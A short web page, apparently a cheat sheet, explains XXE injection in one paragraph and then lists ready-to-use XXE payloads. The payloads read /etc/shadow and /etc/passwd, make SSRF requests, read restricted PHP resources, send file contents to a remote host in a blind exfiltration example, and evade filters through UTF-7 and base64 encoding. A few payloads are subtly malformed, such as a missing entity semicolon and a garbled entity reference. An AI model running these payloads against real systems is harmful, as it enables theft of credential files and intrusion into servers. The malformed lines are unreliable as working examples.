hat is XML external entity injection? XML external entity injection (also known as XXE) is a web securityvulnerabilitythat allows an attacker to interfere with an application's processing of XML data. It often allows an attacker to view files on the application server filesystem, and to interact with any backend or external systems that the application itself can access. In some situations, an attacker can escalate an XXE attack to compromise the underlying server or other backend infrastructure, by leveraging the XXE vulnerability to perform server-side request forgery (SSRF) attacks.
XML External Entity (XXE) Injection Payloads
XXE: Basic XML Example <!--?xml version="1.0" ?--> <userInfo> <firstName>John</firstName> <lastName>Doe</lastName> </userInfo>
XXE: Entity Example <!--?xml version="1.0" ?--> <!DOCTYPE replace [<!ENTITY example "Doe"> ]> <userInfo> <firstName>John</firstName> <lastName>&example;</lastName> </userInfo>
XXE: File Disclosure <!--?xml version="1.0" ?--> <!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]> <userInfo> <firstName>John</firstName> <lastName>&ent;</lastName> </userInfo>
XXE: Blind Local File Inclusion Example (When first case doesn't return anything.) <?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo (#ANY)> <!ENTITY % xxe SYSTEM "file:///etc/passwd"> <!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]><foo>&blind;</foo>
XXE: Access Control Bypass (Loading Restricted Resources - PHP example) <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">]> <foo><result>∾</result></foo>
XXE:SSRF ( Server Side Request Forgery ) Example <?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo (#ANY)> <!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo>
XXE: (Remote Attack - Through External Xml Inclusion) Exmaple <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY test SYSTEM "https://example.com/entity1.xml">]> <lolz><lol>3..2..1...&test<lol></lolz>
XXE: UTF-7 Exmaple <?xml version="1.0" encoding="UTF-7"?> +ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4 +ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+ +ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
XXE: Base64 Encoded <!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
XXE: XXE inside SOAP Example <soap:Body> <foo> <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]> </foo> </soap:Body>
